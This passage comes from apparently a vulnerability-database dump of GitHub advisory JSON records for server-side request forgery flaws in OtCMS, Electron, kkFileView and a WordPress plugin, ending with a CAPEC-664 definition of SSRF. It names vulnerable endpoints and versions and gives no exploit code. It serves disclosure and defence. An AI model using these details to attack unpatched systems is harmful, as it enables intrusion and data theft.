"CVE-2024-57252"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-17T21:15:10Z",
"severity": "MODERATE"
},
"details": "OtCMS \u003c=V7.46 is vulnerable to Server-Side Request Forgery (SSRF) in /admin/read.php, which can Read system files arbitrarily.",
"id": "GHSA-v623-92c3-f29p",
"modified": "2025-01-18T00:30:48Z",
"published": "2025-01-17T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57252"
},
{
"type": "WEB",
"url": "https://github.com/J-0k3r/CVE-2024-57252"
},
{
"type": "WEB",
"url": "https://github.com/J-0k3r/some/blob/main/ssrf.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V64R-4M7R-3MVQ
Vulnerability from github – Published: 2026-08-05 16:04 – Updated: 2026-08-05 16:04Impact
When following HTTP redirects, net.fetch() and net.request() did not restrict which schemes a redirect could target. A remote server could redirect a request to a local resource, and if the app returns or forwards the response body, local file contents could be disclosed.
Apps are only affected if they make net requests to attacker-influenced URLs with redirects followed (the default) and expose the response body. Apps that only request fixed, trusted URLs are not affected.
Workarounds
Set redirect: 'error' or redirect: 'manual' on requests to untrusted URLs and validate any redirect target before following it.
Fixed Versions
42.0.0-beta.341.2.140.9.039.8.8
For more information
If you have any questions or comments about this advisory, email Electron at security@electronjs.org
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "39.8.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 40.9.0"
},
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "40.0.0-alpha.1"
},
{
"fixed": "40.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "41.0.0-alpha.1"
},
{
"fixed": "41.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "42.0.0-alpha.1"
},
{
"fixed": "42.0.0-beta.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70605"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T16:04:09Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nWhen following HTTP redirects, `net.fetch()` and `net.request()` did not restrict which schemes a redirect could target. A remote server could redirect a request to a local resource, and if the app returns or forwards the response body, local file contents could be disclosed.\n\nApps are only affected if they make `net` requests to attacker-influenced URLs with redirects followed (the default) and expose the response body. Apps that only request fixed, trusted URLs are not affected.\n\n### Workarounds\nSet `redirect: \u0027error\u0027` or `redirect: \u0027manual\u0027` on requests to untrusted URLs and validate any redirect target before following it.\n\n### Fixed Versions\n* `42.0.0-beta.3`\n* `41.2.1`\n* `40.9.0`\n* `39.8.8`\n\n### For more information\nIf you have any questions or comments about this advisory, email Electron at [security@electronjs.org](mailto:security@electronjs.org)",
"id": "GHSA-v64r-4m7r-3mvq",
"modified": "2026-08-05T16:04:09Z",
"published": "2026-08-05T16:04:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electron/electron/security/advisories/GHSA-v64r-4m7r-3mvq"
},
{
"type": "PACKAGE",
"url": "https://github.com/electron/electron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Electron: HTTP redirect followed into local file loader"
}
GHSA-V6HF-4FPR-7XXC
Vulnerability from github – Published: 2022-10-18 12:00 – Updated: 2022-10-20 19:00kkFileView 4.0 is vulnerable to Server-side request forgery (SSRF) via controller\OnlinePreviewController.java.
{
"affected": [],
"aliases": [
"CVE-2022-42149"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-17T20:15:00Z",
"severity": "CRITICAL"
},
"details": "kkFileView 4.0 is vulnerable to Server-side request forgery (SSRF) via controller\\OnlinePreviewController.java.",
"id": "GHSA-v6hf-4fpr-7xxc",
"modified": "2022-10-20T19:00:32Z",
"published": "2022-10-18T12:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42149"
},
{
"type": "WEB",
"url": "https://github.com/xiaojiangxl/paper/blob/main/kkFileView/ssrf_vul_en.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V6HG-MV73-76VG
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-24 21:31Server-Side Request Forgery (SSRF) vulnerability in Burhan Nasir Smart Auto Upload Images smart-auto-upload-images allows Server Side Request Forgery.This issue affects Smart Auto Upload Images: from n/a through <= 1.2.2.
{
"affected": [],
"aliases": [
"CVE-2026-23803"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:13Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Burhan Nasir Smart Auto Upload Images smart-auto-upload-images allows Server Side Request Forgery.This issue affects Smart Auto Upload Images: from n/a through \u003c= 1.2.2.",
"id": "GHSA-v6hg-mv73-76vg",
"modified": "2026-02-24T21:31:32Z",
"published": "2026-02-19T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23803"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/smart-auto-upload-images/vulnerability/wordpress-smart-auto-upload-images-plugin-1-2-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.